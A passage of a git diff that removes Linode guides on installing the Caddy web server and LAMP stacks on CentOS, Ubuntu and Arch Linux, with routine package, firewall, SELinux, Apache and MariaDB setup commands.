sudo yum install -y policycoreutils-python-utils - -## Install Caddy - -1. Install the `dnf-command(cpor)` plugin and enable `caddy`: - - sudo dnf install 'dnf-command(copr)' - sudo dnf copr enable @caddy/caddy - -1. Install Caddy: - - sudo dnf install caddy - -1. To verify the installation of caddy type: - caddy version - An output similar to the following appears: - - v2.4.3 h1:Y1FaV2N4WO3rBqxSYA8UZsZTQdN+PwcoOcAiZTM8C0I= - -## Allow HTTP and HTTPS Connections - -Caddy serves websites using HTTP and HTTPS protocols, so you need to allow access to the ports 80, and 443. - - sudo firewall-cmd --permanent --zone=public --add-service=http - sudo firewall-cmd --permanent --zone=public --add-service=https - sudo firewall-cmd --reload - -## Add Web Content - -1. Set up a home directory, **web root**, for your website: - - sudo mkdir -p /var/www/html/example.com - -1. Use SELinux’s `chcon` command to change the file security context for web content: - - sudo chcon -t httpd_sys_content_t /var/www/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/example.com -R - -1. Create a test page: - - echo 'Caddy Test Page

Hello, World!

' > /var/www/html/example.com/index.html - -## Configure the Caddyfile - -Add your hostname and web root to the Caddy configuration. Use an editor of your choice and replace `:80` with your domain name. Set the root directory of the site to `/var/www/html/example.com` Replace `example.com` with your site's domain name: - -{{< file "/etc/caddy/Caddyfile" caddy >}} -example.com { - root * /var/www/html/example.com - file_server -} -{{< /file >}} - -## Start and Enable the Caddy Service - -1. Temporarily set SELinux to permissive mode in order to start the Caddy service. - - sudo setenforce 0 - -1. Enable the Caddy service: - - sudo systemctl start caddy - -1. Verify that the service is active: - - sudo systemctl status caddy - - An output similar to the following appears: - - {{< output >}} -● caddy.service - Caddy - Loaded: loaded (/usr/lib/systemd/system/caddy.service; disabled; vendor preset: disabled) - Active: active (running) since Thu 2021-09-02 18:25:29 IST; 4s ago - Docs: https://caddyserver.com/docs/ - Main PID: 19314 (caddy) - CGroup: /system.slice/caddy.service - └─19314 /usr/bin/caddy run --environ --config /etc/caddy/Caddyfile... - -Sep 02 18:25:29 caddy caddy[19314]: SHELL=/sbin/nologin -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1270738..."} -Sep 02 18:25:29 caddy systemd[1]: Started Caddy. -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1316314...]} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1317837...0} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324193..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324632..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1325648..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326034..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326299..."} -Hint: Some lines were ellipsized, use -l to show in full. - {{}} - - To check the latest logs without truncation use `sudo journalctl -u caddy --no-pager | less +G`. - -1. Set SELinux back to enforcing mode once you have successfully started the Caddy service. - - sudo setenforce 1 - -1. Type your domain in the browser on your local machine and you should see the test page. If everything is configured correctly, you should see a green lock symbol in the URL bar, indicating that your connection is secure. - diff --git a/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-ubuntu-18-04/index.md b/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-ubuntu-18-04/index.md deleted file mode 100644 index 6b7be18767a..00000000000 --- a/docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -slug: how-to-install-and-configure-caddy-on-ubuntu-18-04 -title: "Install and Configure the Caddy Web Server on Ubuntu 18.04" -title_meta: "Install and Configure the Caddy Web Server on Ubuntu" -description: "In this guide, you will install the Caddy web server on Ubuntu 18.04. You will also configure Caddy to serve your site's domain over HTTPS." -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-03-05 -modified: 2022-02-04 -keywords: ['web server','caddy','https','Caddyfile'] -tags: ["web server","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: CaddyWebServ_Ubuntu1804.png -relations: - platform: - key: install-caddy-server - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/web-servers/caddy/how-to-install-and-configure-caddy-on-ubuntu-18-04/'] ---- - -[Caddy](https://caddyserver.com/) is a fast, open-source, and security-focused web server written in [Go](https://golang.org/). Caddy includes modern features such as support for virtual hosts, minification of static files, and HTTP/2. Caddy is also the first web-server that can obtain and renew SSL/TLS certificates automatically using [Let's Encrypt](https://letsencrypt.org/). - -## Before You Begin - -1. Familiarize yourself with the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Complete the sections of the [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) and [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access). - -1. Register (purchase) your site's domain name and follow our [Manage DNS Records](https://techdocs.akamai.com/cloud-computing/docs/manage-dns-records) guide to point the domain to your Linode. - -1. Update your system: - - sudo apt update && sudo apt upgrade - -## Install Caddy - -1. Download Caddy: - - sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https - curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg - curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list - -1. Install Caddy: - - sudo apt update && sudo apt install caddy - -1. To verify the installation of Caddy, run the following command: - - caddy version - - This should output a message similar to the text below: - - {{}} -v2.4.3 h1:Y1FaV2N4WO3rBqxSYA8UZsZTQdN+PwcoOcAiZTM8C0I= -{{}} - -## Allow HTTP and HTTPS Connections - -Caddy serves websites using HTTP and HTTPS protocols, so you need to allow access to the ports 80, and 443. - - sudo ufw allow proto tcp from any to any port 80,443 - -An output similar to the following appears: - -{{< output >}} -Rule added -Rule added (v6) -{{< /output >}} - -1. Verify the changes: - - sudo ufw status - -An output similar to the following appears: -{{< output >}} -Status: active - -To Action From --- ------ ---- -OpenSSH ALLOW Anywhere -80,443/tcp ALLOW Anywhere -OpenSSH (v6) ALLOW Anywhere (v6) -80,443/tcp (v6) ALLOW Anywhere (v6) -{{< /output >}} - -## Add Web Content - -1. Set up a home directory, **web root**, for your website: - - sudo mkdir -p /var/www/html/example.com - -1. Create a test page: - - echo 'Caddy Test Page

Hello, World!

' > /var/www/html/example.com/index.html - -## Configure the Caddyfile - -Add your hostname and web root to the Caddy configuration. Use an editor of your choice and replace `:80` with your domain name. Set the root directory of the site to `/var/www/html/example.com` Replace `example.com` with your site's domain name: - -{{< file "/etc/caddy/Caddyfile" caddy >}} -example.com { - root * /var/www/html/example.com - file_server -} -{{< /file >}} - -## Start and Enable the Caddy Service - -1. Enable the Caddy service: - - sudo systemctl start caddy - -1. Verify that the service is active: - - sudo systemctl status caddy - - An output similar to the following appears: - - {{< output >}} -● caddy.service - Caddy - Loaded: loaded (/usr/lib/systemd/system/caddy.service; disabled; vendor preset: disabled) - Active: active (running) since Thu 2021-09-02 18:25:29 IST; 4s ago - Docs: https://caddyserver.com/docs/ - Main PID: 19314 (caddy) - CGroup: /system.slice/caddy.service - └─19314 /usr/bin/caddy run --environ --config /etc/caddy/Caddyfile... - -Sep 02 18:25:29 caddy caddy[19314]: SHELL=/sbin/nologin -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1270738..."} -Sep 02 18:25:29 caddy systemd[1]: Started Caddy. -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1316314...]} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1317837...0} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324193..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324632..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1325648..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326034..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326299..."} -Hint: Some lines were ellipsized, use -l to show in full. - {{}} - -To check the latest logs without truncation use `sudo journalctl -u caddy --no-pager | less +G`. - -1. Open a web browser and visit your domain. You should see the contents of the `index.html`page that you created in the [Add Web Content section](#add-web-content). diff --git a/docs/guides/web-servers/caddy/install-and-configure-caddy-on-centos-7/index.md b/docs/guides/web-servers/caddy/install-and-configure-caddy-on-centos-7/index.md deleted file mode 100644 index 43a619d25c8..00000000000 --- a/docs/guides/web-servers/caddy/install-and-configure-caddy-on-centos-7/index.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -slug: install-and-configure-caddy-on-centos-7 -title: 'Install and Configure Caddy on CentOS 7' -description: 'This guide will show you how to install and configure Caddy and run it as a systemd service.' -authors: ["Konstantin Kuchinin"] -contributors: ["Konstantin Kuchinin"] -published: 2017-09-14 -modified: 2018-02-02 -keywords: ["caddy", "web server"] -tags: ["centos","web server"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Caddy Official Site](https://caddyserver.com)' -relations: - platform: - key: install-caddy-server - keywords: - - distribution: CentOS 7 -aliases: ['/web-servers/caddy/install-and-configure-caddy-on-centos-7/'] ---- - -![Install Caddy on CentOS](Caddy.jpg) - -[Caddy](https://caddyserver.com/) is a fast, open-source and security-focused web server written in [Go](https://golang.org/). Caddy includes modern features such as support for virtual hosts, minification of static files, and HTTP/2. Caddy is also the first web-server that can obtain and renew SSL/TLS certificates automatically using [Let's Encrypt](https://letsencrypt.org/). - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. This guide uses `sudo` wherever possible. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access and remove unnecessary network services. - -3. You need to register your site's domain name and follow our [Manage DNS Records](https://techdocs.akamai.com/cloud-computing/docs/manage-dns-records) guide to point your domain to your Linode. - -4. Update your system: - - sudo yum update - -## Install Caddy - -1. Install the `yum-plugin-copr` plugin and enable `caddy`: - - sudo yum install yum-plugin-copr - sudo yum copr enable @caddy/caddy - -1. Install Caddy: - - sudo yum install caddy - -1. To verify the installation of caddy type: - caddy version - An output similar to the following appears: - - v2.4.3 h1:Y1FaV2N4WO3rBqxSYA8UZsZTQdN+PwcoOcAiZTM8C0I= - -## Allow HTTP and HTTPS Connections - -Caddy serves websites using HTTP and HTTPS protocols, so you need to allow access to the ports 80, and 443. - - sudo firewall-cmd --permanent --zone=public --add-service=http - sudo firewall-cmd --permanent --zone=public --add-service=https - sudo firewall-cmd --reload - -## Add Web Content - -1. Set up a home directory, **web root**, for your website: - - sudo mkdir -p /var/www/html/example.com - -1. Create a test page: - - echo 'Caddy Test Page

Hello, World!

' > /var/www/html/example.com/index.html - -## Configure the Caddyfile - -Add your hostname and web root to the Caddy configuration. Use an editor of your choice and replace `:80` with your domain name. Set the root directory of the site to `/var/www/html/example.com` Replace `example.com` with your site's domain name: - -{{< file "/etc/caddy/Caddyfile" caddy >}} -example.com { - root * /var/www/html/example.com - file_server -} -{{< /file >}} - -## Start and Enable the Caddy Service - -1. Enable the Caddy service: - - sudo systemctl start caddy - -1. Verify that the service is active: - - sudo systemctl status caddy - - An output similar to the following appears: - - {{< output >}} -● caddy.service - Caddy - Loaded: loaded (/usr/lib/systemd/system/caddy.service; disabled; vendor preset: disabled) - Active: active (running) since Thu 2021-09-02 18:25:29 IST; 4s ago - Docs: https://caddyserver.com/docs/ - Main PID: 19314 (caddy) - CGroup: /system.slice/caddy.service - └─19314 /usr/bin/caddy run --environ --config /etc/caddy/Caddyfile... - -Sep 02 18:25:29 caddy caddy[19314]: SHELL=/sbin/nologin -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1270738..."} -Sep 02 18:25:29 caddy systemd[1]: Started Caddy. -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1316314...]} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1317837...0} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324193..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1324632..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1325648..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326034..."} -Sep 02 18:25:29 caddy caddy[19314]: {"level":"info","ts":1630587329.1326299..."} -Hint: Some lines were ellipsized, use -l to show in full. - {{}} - -To check the latest logs without truncation use `sudo journalctl -u caddy --no-pager | less +G`. - -1. Type your domain into a browser window on your local machine and you should see the test page. If everything is configured correctly, you should see a green lock symbol in the URL bar, indicating that your connection is secure. diff --git a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-arch-linux/index.md b/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-arch-linux/index.md deleted file mode 100644 index 718d17a6754..00000000000 --- a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-arch-linux/index.md +++ /dev/null @@ -1,246 +0,0 @@ ---- -slug: how-to-install-a-lamp-stack-on-arch-linux -title: How to Install a LAMP Stack on Arch Linux -description: 'A simple tutorial on installing a LAMP (Linux, Apache, MySQL, PHP) stack on an Arch Linux-powered server.' -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2013-10-07 -modified: 2015-12-07 -keywords: ["arch lamp", "arch lamp stack", "lamp linux", "arch linode", "arch linux lamp", "arch linux", "arch", "lamp", "lamp stack", "apache", "mysql", "php"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/lamp/lamp-server-on-arch-linux/','/web-servers/lamp/lamp-server-on-arch-linux/','/lamp-guides/arch-linux-10-2013/','/lamp-guides/arch-linux/','/web-servers/lamp/how-to-install-a-lamp-stack-on-arch-linux/'] -external_resources: - - '[Arch Linux Wiki](http://wiki.ArchLinux.org/)' - - '[Apache HTTP Server Documentation](http://httpd.apache.org/docs/2.4/)' - - '[MySQL Documentation](http://dev.mysql.com/doc/)' - - '[Oracle MySQL and MariaDB Comparison](https://mariadb.com/kb/en/mariadb-vs-mysql-compatibility/)' - - '[PHP Documentation](http://www.php.net/docs.php)' -relations: - platform: - key: install-lamp-stack - keywords: - - distribution: Arch Linux -tags: ["web server","php","mysql","apache","lamp"] ---- - -A LAMP (Linux, Apache, MySQL, PHP) stack is a common web stack used to prepare servers for hosting web content. This guide shows you how to install a LAMP stack an Arch Linux server. - -Since Arch does not come in specific versions, this guide is up-to-date as of the December 2015 Arch update. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. Ensure that you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides, and the Linode's [hostname is set](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - -2. Update your system: - - sudo pacman -Syu - -## Apache - -### Install and Configure - -1. Install Apache 2.4: - - sudo pacman -Syu apache - -2. Edit the `httpd-mpm.conf` Apache configuration file in `/etc/httpd/conf/extra/` to adjust the resource use settings. The settings shown below are a good starting point for a **Linode 2GB**: - - {{< note respectIndent=false >}} -Before changing any configuration files, it is advised that you make a backup of the file. To make a backup: - -cp /etc/httpd/conf/extra/httpd-mpm.conf ~/httpd-mpm.conf.backup -{{< /note >}} - - {{< file "/etc/httpd/conf/extra/httpd-mpm.conf" aconf >}} - - StartServers 4 - MinSpareServers 20 - MaxSpareServers 40 - MaxRequestWorkers 200 - MaxConnectionsPerChild 4500 - - -{{< /file >}} - - -3. Edit the `httpd-default.conf` file to turn KeepAlive off. - - {{< file "/etc/httpd/conf/extra/httpd-default.conf" aconf >}} -KeepAlive Off - -{{< /file >}} - - -4. Set Apache to start at boot: - - sudo systemctl enable httpd.service - -### Add Name-Based Virtual Hosts - -Virtual hosting can be configured so that multiple domains (or subdomains) can be hosted on the server. These websites can be controlled by different users, or by a single user, as you prefer. There are different ways to set up virtual hosts; however, we recommend the method below. - -1. Open `httpd.conf` and edit the line `DocumentRoot /srv/http` to define the default document root: - - {{< file "/etc/httpd/conf/httpd.conf" >}} -DocumentRoot "/srv/http/default" - -{{< /file >}} - - -2. Uncomment the line that reads `Include conf/extra/httpd-vhosts.conf` near the end of the `/etc/httpd/conf/httpd.conf` file: - - {{< file "/etc/httpd/conf/httpd.conf" apache >}} -Include conf/extra/httpd-vhosts.conf - -{{< /file >}} - - -2. Open `httpd-vhosts.conf`, under the `extra` folder. Edit the example virtual hosts block to resemble the ones below, replacing `example.com` with your domain. - - {{< file "/etc/httpd/conf/extra/httpd-vhosts.conf" aconf >}} - - ServerAdmin webmaster@example.com - ServerName example.com - ServerAlias www.example.com - DocumentRoot /srv/http/example.com/public_html/ - ErrorLog /srv/http/example.com/logs/error.log - CustomLog /srv/http/example.com/logs/access.log combined - - Order deny,allow - Allow from all - - - -{{< /file >}} - - - Remove the second example in the file, or use it configure a second website. - - {{< note respectIndent=false >}} -`ErrorLog` and `CustomLog` entries are suggested for more fine-grained logging, but are not required. If they are defined (as shown above), the `logs` directories must be created before you restart Apache. -{{< /note >}} - -4. Create the directories referenced in the configuration above: - - sudo mkdir -p /srv/http/default - sudo mkdir -p /srv/http/example.com/public_html - sudo mkdir -p /srv/http/example.com/logs - -5. After you've set up your virtual hosts, issue the following command to run Apache for the first time: - - sudo systemctl start httpd.service - - You should now be able to access your website. If no files are uploaded you will see an *Index of /* page. - - {{< note respectIndent=false >}} -Should any additional changes be made to a configuration file restart Apache: - -sudo systemctl restart httpd.service -{{< /note >}} - -## MariaDB - -### Install and Configure - -By default, Arch Linux provides MariaDB as a relational database solution. MariaDB is an open source drop-in replacement for MySQL, and all system commands that reference `mysql` are compatible with it. - -1. Install the `mariadb`, `mariadb-clients` and `libmariadbclient` packages: - - sudo pacman -Syu mariadb mariadb-clients libmariadbclient - -2. Install the MariaDB data directory: - - sudo mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql - -3. Start MariaDB and set it to run at boot: - - sudo systemctl start mysqld.service - sudo systemctl enable mysqld.service - -4. Run `mysql_secure_installation`, a program that helps secure MySQL and MariaDB. `mysql_secure_installation` gives you the option to set your root password, disable root logins from outside localhost, remove anonymous user accounts, remove the test database and then reload the privilege tables: - - mysql_secure_installation - -### Create a Database - -1. Log into MariaDB: - - mysql -u root -p - - `-u ` specifies the user, and `-p` will prompt you for the password. - -2. You will see the MariaDB prompt. Create a database and create and grant a user permissions on the database: - - CREATE DATABASE webdata; - GRANT ALL ON webdata.* TO 'webuser' IDENTIFIED BY 'password'; - - In this example `webdata` is the name of the database, `webuser` is the username, and `password` is the user's password. Note that database usernames and passwords do not correlate to system user accounts. - -3. Quit MariaDB: - - quit - -With Apache and MariaDB installed, you are now ready to move on to installing PHP to provide scripting support for your web application. - -## PHP - -PHP makes it possible to produce dynamic and interactive pages using your own scripts and popular web development frameworks. Many popular web applications like WordPress are written in PHP. If you want to develop your websites using PHP, you must first install it. - -1. Install PHP: - - sudo pacman -Syu php php-apache - -2. Edit `/etc/php/php.ini` for better error messages and logs, and upgraded performance. These modifications provide a good starting point for a **Linode 2GB**: - - {{< file "/etc/php/php.ini" ini >}} -error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR -log_errors = On -error_log = /var/log/php/error.log -max_input_time = 30 -extension=mysql.so - -{{< /file >}} - - - {{< note respectIndent=false >}} -Ensure that all lines noted above are uncommented. A commented line begins with a semicolon (**;**). -{{< /note >}} - -3. Create the log directory for PHP and give the Apache user ownership: - - sudo mkdir /var/log/php - sudo chown http /var/log/php - -4. Enable the PHP module in the `/etc/httpd/conf/httpd.conf` file by adding the following lines in the appropriate sections: - - {{< file "/etc/httpd/conf/httpd.conf" aconf >}} -# Dynamic Shared Object (DSO) Support -LoadModule php7_module modules/libphp7.so -AddHandler php7-script php - -# Supplemental configuration -# PHP 7 -Include conf/extra/php7_module.conf - -# Located in the -AddType application/x-httpd-php .php -AddType application/x-httpd-php-source .phps - -{{< /file >}} - -5. In the same file, comment out the line `LoadModule mpm_event_module modules/mod_mpm_event.so` by adding a `#` in front, and add the line `LoadModule mpm_prefork_module modules/mod_mpm_prefork.so`: - - {{< file "/etc/httpd/conf/httpd.conf" apache >}} -#LoadModule mpm_event_module modules/mod_mpm_event.so -LoadModule mpm_prefork_module modules/mod_mpm_prefork.so - -{{< /file >}} - - -6. Restart the Apache: - - sudo systemctl restart httpd.service diff --git a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-7/index.md b/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-7/index.md deleted file mode 100644 index 80c91b9eb8d..00000000000 --- a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-7/index.md +++ /dev/null @@ -1,309 +0,0 @@ ---- -slug: how-to-install-a-lamp-stack-on-centos-7 -title: "Installing a LAMP Stack (PHP, MySQL, Apache) on CentOS 7" -title_meta: "Install a LAMP Stack (PHP, MySQL, Apache) on CentOS 7" -description: "Install a LAMP stack on a CentOS 7 Linode. A LAMP stack includes Linux, Apache, MariaDB, and PHP. ✓ Read now!" -authors: ["Joel Kruger"] -contributors: ["Joel Kruger"] -published: 2015-12-01 -modified: 2022-01-14 -keywords: ["LAMP", "CentOS", "CentOS 7", "apache", "mysql", "php", "centos lamp"] -tags: ["centos","web server","php","mysql","apache","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/lamp/lamp-on-centos-7/','/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-7/','/websites/lamp/lamp-server-on-centos-7/','/web-servers/lamp/lamp-on-centos-7/'] -external_resources: - - '[CentOS Linux Home Page](http://www.centos.org/)' - - '[Apache HTTP Server Documentation](http://httpd.apache.org/docs/2.2/)' - - '[MariaDB Documentation](https://mariadb.com/kb/en/mariadb/documentation/)' - - '[PHP Documentation](http://www.php.net/docs.php)' -image: lamp-on-centos-7-title-graphic.jpg -relations: - platform: - key: install-lamp-stack - keywords: - - distribution: CentOS 7 ---- - -A *LAMP stack* is a particular bundle of software packages commonly used for hosting web content. The bundle consists of Linux, Apache, MariaDB, and PHP (LAMP). This guide shows you how to install a LAMP stack on a CentOS 7 Linode. - -## Before You Begin - -1. Ensure that you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides. Ensure that the Linode's [hostname is set](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - - Check your Linode's hostname. The first command should show your short hostname and the second should show your fully qualified domain name (FQDN). - - hostname - hostname -f - -1. Update your system: - - sudo yum update - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - {{< /note >}} - -## Apache - -### Install and Configure - -Install Apache using CentOS’s package manager. - -1. Install Apache 2.4: - - sudo yum install httpd - -1. Enable Apache to start at boot and start the Apache service: - - sudo systemctl enable httpd.service - sudo systemctl start httpd.service - -1. Create a `httpd-mpm.conf` file and add the code in the example to turn off KeepAlive and adjust the resource use settings. The settings shown below are a good starting point for a **Linode 2GB**: - - {{< note respectIndent=false >}} -As a best practice, you should create a backup of your Apache configuration file, before making any configuration changes to your Apache installation. To make a backup in your home directory: - - cp /etc/httpd/conf/httpd.conf ~/httpd.conf.backup -{{< /note >}} - - {{< file "/etc/httpd/conf.modules.d/httpd-mpm.conf" aconf >}} -KeepAlive Off - - - StartServers 4 - MinSpareServers 20 - MaxSpareServers 40 - MaxClients 200 - MaxRequestsPerChild 4500 - - -{{< /file >}} - -### Configure Name-based Virtual Hosts - -There are different ways to set up virtual hosts; however, the method below is recommended. - -1. Create the directories to store your site files and logs. Replace `example.com` with your own site's domain name. - - sudo mkdir -p /var/www/html/example.com/{public_html,logs} - -1. Create the directories to store your site's virtual hosts files: - - sudo mkdir -p /etc/httpd/sites-available /etc/httpd/sites-enabled - -1. Edit Apache's configuration file to let it know to look for virtual host files in the `/etc/httpd/sites-enabled` directory. Add the example line to the bottom of your `httpd.conf` file: - - {{< file "/etc/httpd/conf/httpd.conf" apache>}} -IncludeOptional sites-enabled/*.conf -{{}} - -1. Navigate to your `/var/www/html/example.com` directory if you are not already there: - - cd /var/www/html/example.com - -1. Using your preferred text editor create a virtual hosts file. Copy the basic settings in the example below and paste them into the file. Replace all instances of `example.com` with your domain name: - - {{< file "/etc/httpd/sites-available/example.com.conf" apache>}} - - Require all granted - - - ServerName example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - ErrorLog /var/www/html/example.com/logs/error.log - CustomLog /var/www/html/example.com/logs/access.log combined - -{{}} - -1. Create a symbolic link from your virtual hosts file in the `sites-available` directory to the `sites-enabled` directory. Replace `example.com.conf` with the name of your own virtual hosts file. - - sudo ln -s /etc/httpd/sites-available/example.com.conf /etc/httpd/sites-enabled/example.com.conf - -1. Reload to apply your new configuration: - - sudo systemctl reload httpd.service - - {{< note respectIndent=false >}} -If you receive an error when trying to reload your `httpd` service, follow the steps in the [Configure SELinux to Allow HTTP](#configure-selinux-to-allow-http) section and then reattempt to reload the service. - {{< /note >}} - - Additional domains can be added to the `example.com.conf` file as needed. - - {{< note respectIndent=false >}} -`ErrorLog` and `CustomLog` entries are suggested for more fine-grained logging, but are not required. If they are defined (as shown above), the `logs` directories must be created before you restart Apache. -{{< /note >}} - -### Configure SELinux to Allow HTTP - -SELinux is enabled by default on CentOS 7 Linodes. Its default setting is to restrict Apache's access to directories until explicit permissions are granted. - -Without these steps, Apache does not start and may give the following error: - -{{< output >}} -Jun 21 17:58:09 example.com systemd[1]: Failed to start The Apache HTTP Server. -Jun 21 17:58:09 example.com systemd[1]: Unit httpd.service entered failed state. -Jun 21 17:58:09 example.com systemd[1]: httpd.service failed. -{{< /output >}} - -1. Use `chown` to make `apache` the owner of the web directory: - - sudo chown apache:apache -R /var/www/html/example.com/ - -1. Modify the permissions for files and directories: - - cd /var/www/html/example.com/ - find . -type f -exec sudo chmod 0644 {} \; - find . -type d -exec sudo chmod 0755 {} \; - -1. Use SELinux's `chcon` to change the file security context for web content: - - sudo chcon -t httpd_sys_content_t /var/www/html/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/html/example.com -R - -1. Enable Apache to start at boot and restart the service for the above changes to take place: - - sudo systemctl enable httpd.service - sudo systemctl restart httpd.service - -{{< note >}} -In addition, if you plan to use any HTTPD scripts on the server, update the corresponding SELinux Boolean variable. To allow HTTPD scripts and modules to connect to the network, use the `sudo setsebool -P httpd_can_network_connect on` command. -{{< /note >}} - -### Configure FirewallD to Allow HTTP Connections - -FirewallD is enabled for CentOS 7 Linodes, but HTTP is not included in the default set of services. - -1. View the default set of services: - - sudo firewall-cmd --zone=public --list-services - - {{< output >}} -ssh dhcpv6-client -{{< /output >}} - -1. To allow connections to Apache, add HTTP as a service: - - sudo firewall-cmd --zone=public --add-service=http --permanent - sudo firewall-cmd --zone=public --add-service=http - - Visit your domain or public IP to test the Apache server and view the default Apache page. - - {{< note respectIndent=false >}} -Rename Apache's default welcome page. When this file is present it takes precedence over other configurations via the `LocationMatch` directive. - - sudo mv /etc/httpd/conf.d/welcome.conf /etc/httpd/conf.d/welcome.conf.bk -{{< /note >}} - -Once Apache has been installed and configured on your server, it is time to install PHP and the MySQL database on your CentOS 7 Linode. - -## MariaDB - -### Install and Configure - - MariaDB is a *relational database management system* (RDBMS), and is a popular component of many applications. - -1. Install the MariaDB-server package: - - sudo yum install mariadb-server - -1. Set MariaDB to start at boot and start the daemon for the first time: - - sudo systemctl enable mariadb.service - sudo systemctl start mariadb.service - -1. Run `mysql_secure_installation` to secure MariaDB. You will be given the option to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases and reload privileges. It is recommended that you answer yes to these options: - - sudo mysql_secure_installation - -### Create a MariaDB Database - -1. Log in to MariaDB: - - mysql -u root -p - - Enter MariaDB’s root password. You will get the MariaDB prompt. - -1. Create a new database and user with permissions to use it: - - create database webdata; - grant all on webdata.* to 'webuser' identified by 'password'; - - In the above example `webdata` is the name of the database, `webuser` the user, and `password` a strong password. - -1. Exit MariaDB - - quit - -With Apache and MariaDB installed, you are now ready to install PHP on your CentOS 7 Linode to provide scripting support for your web pages. CentOS needs PHP to connect to the MySQL to get information. - - -## PHP - -### Install and Configure - -1. Install PHP: - - sudo yum install php php-pear php-mysqlnd - -1. Edit `/etc/php.ini` 